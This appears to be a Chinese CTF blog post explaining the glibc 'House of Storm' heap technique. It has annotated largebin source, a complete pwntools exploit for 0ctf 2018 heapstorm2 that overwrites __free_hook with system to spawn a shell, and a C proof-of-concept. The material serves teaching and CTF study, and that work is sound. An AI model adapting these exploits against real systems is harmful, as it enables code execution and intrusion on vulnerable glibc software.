House Of Storm
LOLOLO Lv3

House of storm

参照师傅博客

https://www.cnblogs.com/Rookle/p/13140339.html#house_of_storm 这位师傅讲的很容易理解

https://bbs.pediy.com/thread-262424.htm 初号机师傅

漏洞危害

House_of_storm 可以在任意地址写出chunk地址,进而把这个地址的高位当作size,可以进行任意地址分配chunk,也就是可以造成任意地址写的后果,危害十分之大。 House_of_storm 虽然危害之大,但是其条件也是非常的苛刻。

漏洞利用条件

  1. glibc版本小于2.30,因为2.30之后加入了检查
  2. 需要攻击者在 large_binunsorted_bin 中分别布置一个chunk 这两个chunk需要在归位之后处于同一个 largebin 的index中且 unsorted_bin 中的chunk要比 large_bin 中的大
  3. 需要 unsorted_bin 中的 bk指针 可控
  4. 需要 large_bin 中的 bk指针和bk_nextsize 指针可控

漏洞利用方法

  1. 利用unsorted chunk放入large bin时进行的一系列操作

源码分析

2.29及以下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
    if (in_smallbin_range(size)) 
{
victim_index = smallbin_index(size);//获取size对应的smallbin的index
bck = bin_at(av, victim_index);//bck指向size对应的smallbin的链表头
//fwd指向size对应的smallbin的链表中的新加入的chunk(small bin使用头插法)
fwd = bck->fd;
}
else//如果不再smallbin的范围,也就是说在large bin 的范围
{
victim_index = largebin_index(size);//获取size对应的large bin的index
bck = bin_at(av, victim_index);//bck指向size对应的large bin的链表头
fwd = bck->fd;//fwd指向size对应的large bin的链表中的新加入的chunk

//如果large bin 非空,在largbin进行按顺序插入
if (fwd != bck) {
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
assert((bck->bk->size & NON_MAIN_ARENA) == 0);//默认不启用assert
/*
large bin中的chunk是按从大到小排列的,如果size < large bin
的最后一个chunk,说明size是这个large bin中的最小的,我们把它
加入到此large bin尾部。
*/
if ((unsigned long) (size) < (unsigned long) (bck->bk->size)) {

fwd = bck;
bck = bck->bk;

/*
large bin 中size最小的chunk的fd_nextsize会指向size最大的
那个chunk,也就是首部的chunk。同样,large bin 中size最大的
chunk的bk_nextsize会指向size最小的那个chunk。
victim的bk_nextsize指向large bin原来最小的chunk,它的
bk_nextsize指向最大的那个chunk。那么原来的最小的就成了第二小的了。
把它fd_nextsize和bk_nextsize都修正。
*/
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
//最大size的chunk的bk_nextsize,和原来最小chunk的bk_nextsize都指向victim
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else //如果victim不是large bin 中最小的chunk
{
assert((fwd->size & NON_MAIN_ARENA) == 0);//默认不启用assert
//从大到小(从头到尾)找到合适的位置
while ((unsigned long) size < fwd->size) {
fwd = fwd->fd_nextsize;
assert((fwd->size & NON_MAIN_ARENA) == 0);
}
//如果size刚好相等,就直接加入到其后面省的改fd_nextsize和bk_nextsize了
if ((unsigned long) size == (unsigned long) fwd->size)
fwd = fwd->fd;
else
{
//size不相等,即size>fwd->size,把victim加入到纵向链表中
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else //如果large bin 为空,将victim加入到纵向列表
victim->fd_nextsize = victim->bk_nextsize = victim;
}

//#define mark_bin(m, i) ((m)->binmap[idx2block (i)] |= idx2bit (i))
mark_bin(av, victim_index); //把victim加入到的bin的表示为非空
//把victim加入到large bin的链表中
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
}

2.30及以上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
/* place chunk in bin */

if (in_smallbin_range (size)) //如果是smallbin的大小就放到smallbin
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else //如果是largebin的大小,那么:
{
victim_index = largebin_index (size);//根据size获取对应的largebin索引
bck = bin_at (av, victim_index); //获取largebin表头
fwd = bck->fd; //获取对应索引largebin的第一个chunk(循环链表的head->next)

/* maintain large bins in sorted order */
if (fwd != bck) //当第一个不等于最后一个(即当前的largebin不空)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk)); //是否在main_arena?(主线程)
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))//bck->bk储存的是当前索引的largebin中大小最小的chunk,如果我们要插入的chunk比这个大小还小,那么就要插入largebin的尾部。
{
fwd = bck; //fwd此时为largebin表头
bck = bck->bk; //bck设置为largebin中最后一个的chunk

victim->fd_nextsize = fwd->fd;//由于我们要插入的在末尾,比他小的就是循环回去的第一个chunk
victim->bk_nextsize = fwd->fd->bk_nextsize;//比他大的就是之前的最小的那个

//原来链表的第一个chunk的bk指向此时新插入的最后一个chunk
fwd->fd->bk_nextsize =
victim->bk_nextsize->fd_nextsize = victim;
}

// 如果不是插入尾部,那么我们要找到这个chunk应该插入的位置
else
{
assert (chunk_main_arena (fwd));
//使用这个while循环尝试从链表头部开始遍历,直到找到一个比victim大或等于的chunk退出while
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize; //取下一个
assert (chunk_main_arena (fwd));//检查分配区
}

//如果找到了跟他想等的
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;//直接将victim插入他的后面(通过fd),不修改nextsize指针。

//如果大小不一样(即此时fwd是相邻的大于victim的chunk)
//需要构造nextsize双向链表,构造新节点,victim作为堆头
else
{
//比victim小的指向fwd
//比victim大的指向fwd的bk_nextsize(比fwd大的那个)
//相当于插入了fwd与fwd->bk_nextsize之间
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;

if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))//检查size链完整性
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
//对应的去改fwd的相关指针成链
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
//插入完成
}

bck = fwd->bk;
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;//此时victim为唯一的chunk,也要做循环链表
}
//放到对应的 bin 中,构成 bk<-->victim<-->fwd。
mark_bin (av, victim_index); //标识bitmap
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

例题

0ctf_2018_heapstorm2

exp来自于:https://www.cnblogs.com/Rookle/p/13140339.html#house_of_storm

这道题目还学习到了堆收缩,因为在edit的时候,程序使用strcpy向chunk最后结尾写入一段字符,导致存在了一个off_by_nul,但是同时也无法改写nextchunk的prev_size。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#coding:utf-8
from pwn import *
context.log_level = 'debug'

p = process('./heapstorm2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(size):
p.sendlineafter('Command: ','1')
p.sendlineafter('Size: ',str(size)) # 12<size<0x1000


def edit(idx,content):
p.sendlineafter('Command: ','2')
p.sendlineafter('Index: ',str(idx))
p.sendlineafter('Size: ',str(len(content)))
p.sendafter('Content: ',content)



def delete(idx):
p.sendlineafter('Command: ','3')
p.sendlineafter('Index: ',str(idx))


def show(idx):
p.sendlineafter('Command: ','4')
p.sendlineafter('Index: ',str(idx))

#---------------布置chunk-------------------------#
add(0x18)#0 off_by_null修改1的size
add(0x508)#1
add(0x18)#2
#---------------
add(0x18)#3 off_by_null修改4的size
add(0x508)#4
add(0x18)#5
#---------------
add(0x18)#6 防止合并到top_chunk
#----------------准备 unsorted chunk-----------------------#
edit(1,'\x00'*0x4F0+p64(0x500)) #伪造chunk
delete(1)
edit(0,'\x00'*(0x18-12)) #修改chunk1的size, 0x511->0x500
add(0x18) #1
add(0x4d8) #7 把0x500用完
delete(1)
# gdb.attach(p)
delete(2) #1-2 合并 这时就存在堆重叠
add(0x38)#1
add(0x4e8)#2 chunk7的content指向chunk2的chunk-0x10位置处,我们可以实现控制unsorted chunk
#-------------------准备 large chunk-----------------------------------#
edit(4,'\x00'*0x4F0+p64(0x500))#伪造chunk
delete(4)
# gdb.attach(p)
edit(3,'\x00'*(0x18-12)) #修改chunk4的size, 0x511->0x500
add(0x18) #4
add(0x4d8) #8 把0x500用完

delete(4)
delete(5) #4-5 合并 这是就存在堆重叠
# gdb.attach(p)
add(0x48)#4 此时unsorted bin中剩下一个0x4e1大小的chunk,且与8重叠,我们可以实现控制large chunk
#---------------unsorted chunk 和 large chunk 放到对应位置----------------------#
delete(2)
add(0x4e8) #把0x4e1的chunk放入到largebin中
delete(2) #把0x4F1的chunk放入到unsorted bin中
# gdb.attach(p)
#--------------修改他们是的满足条件进行 house of strom------------------------------#
fake_chunk = 0x13370800 - 0x20
payload = '\x00' * 0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
edit(7, payload) #修改unsorted chunk的bk
payload = '\x00' * 0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) + p64(0) +\ p64(fake_chunk-0x18-5) # 劫持在largebin中chunk的bk指针避免unlink时崩溃
# 劫持在largebin中chunk的bk_nextsize指针
edit(8, payload) #修改 large chunk 的 bk 和 bk_nextsize
add(0x48) #2 -> 0x133707e0 成功将申请到了heaparray附近
# gdb.attach(p)
#-----------------------泄漏 libc----------------------------------#
#由于bins中的chunk的fd,bk指向libc的地址,我们先要泄漏heap的地址

payload = p64(0)*6 + p64(0x13370800)
edit(2, payload) #修改了r0~r4为0,并且修改了chunk0的地址,此时的chunk0的size非常大,因为异或的是0
payload = p64(0)*3 +p64(0x13377331) #满足show的条件
payload += p64(0x13370800) + p64(0x1000) #chunk0
payload += p64(fake_chunk+3) + p64(8) #chunk1
edit(0, payload) #满足show的条件
# gdb.attach(p)
show(1) #我们刚刚house of storm 写的地址泄漏出来
# pause()
p.recvuntil("]: ")
heap = u64(p.recv(6).ljust(8, '\x00'))
success("heap:"+hex(heap))
# pause()

payload = p64(0)*3 + p64(0x13377331)#满足show的条件
payload += p64(0x13370800) + p64(0x1000) #chunk0
payload += p64(heap+0x10) + p64(8) #chunk1
edit(0, payload)

show(1) #泄漏libc地址
p.recvuntil("]: ")
malloc_hook = u64(p.recv(6).ljust(8, '\x00')) -0x58 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base+ libc.sym['system']
success("free_hook:"+hex(free_hook))
#--------------修改 free_hook -----------------------------------#
payload = p64(0)*4
payload += p64(free_hook) + p64(0x100)#chunk0
payload += p64(0x13370800+0x40) + p64(8)#chunk1
payload += '/bin/sh\x00'
edit(0, payload)
edit(0, p64(system))
delete(1)

p.interactive()

victim->fd_nextsize=0x4e1
victim->bk_nextsize = fake_chunk-0x18-5
fake_chunk-0x18-5=0x4f1
fake_chunk-0x18-5->fd_nextsize = 0x4f1
bck=fake_chunk+8

0x4f1->bk=fake_chunk+8
victim->fd=0x4e1
0x4e1->bk = 0x4f1
fake_chunk+8->fd =0x4f1

Rookle师傅的一个很好的house of storm的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// gcc -ggdb -fpie -pie -o house_of_storm house_of_storm.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
struct {
unsigned long presize;
unsigned long size;
unsigned long fd;
unsigned long bk;
unsigned long fd_nextsize;
unsigned long bk_nextsize;
}chunk;

int main()
{
unsigned long *large_chunk,*unsorted_chunk;
unsigned long *fake_chunk = (unsigned long *)&chunk;
char *ptr;


unsorted_chunk=malloc(0x418);
malloc(0X20);
large_chunk=malloc(0x408);
malloc(0x20);



free(large_chunk);
free(unsorted_chunk);
unsorted_chunk=malloc(0x418); //large_chunk归位
free(unsorted_chunk); // unsorted_chunk归位

//重点一下3步
unsorted_chunk[1] = (unsigned long )fake_chunk;
large_chunk[1] = (unsigned long )fake_chunk+8;
large_chunk[3] = (unsigned long )fake_chunk-0x18-5;


ptr=malloc(0x48);
strncpy(ptr, "/bin/sh\x00", 0x10);
system(((char *)fake_chunk + 0x10));

return 0;
}

参考文章

https://www.cnblogs.com/Rookle/p/13140339.html#house_of_storm

https://bbs.pediy.com/thread-262424.htm#msg_header_h1_1

http://blog.wjhwjhn.com/archives/144/

https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack/

https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/large-bin-attack/

  • 本文标题:House Of Storm
  • 本文作者:LOLOLO
  • 创建时间:2022-03-10 17:29:06
  • 本文链接:https://lololo-pwn.github.io/2022/03/10/House-Of-Storm/
  • 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
 评论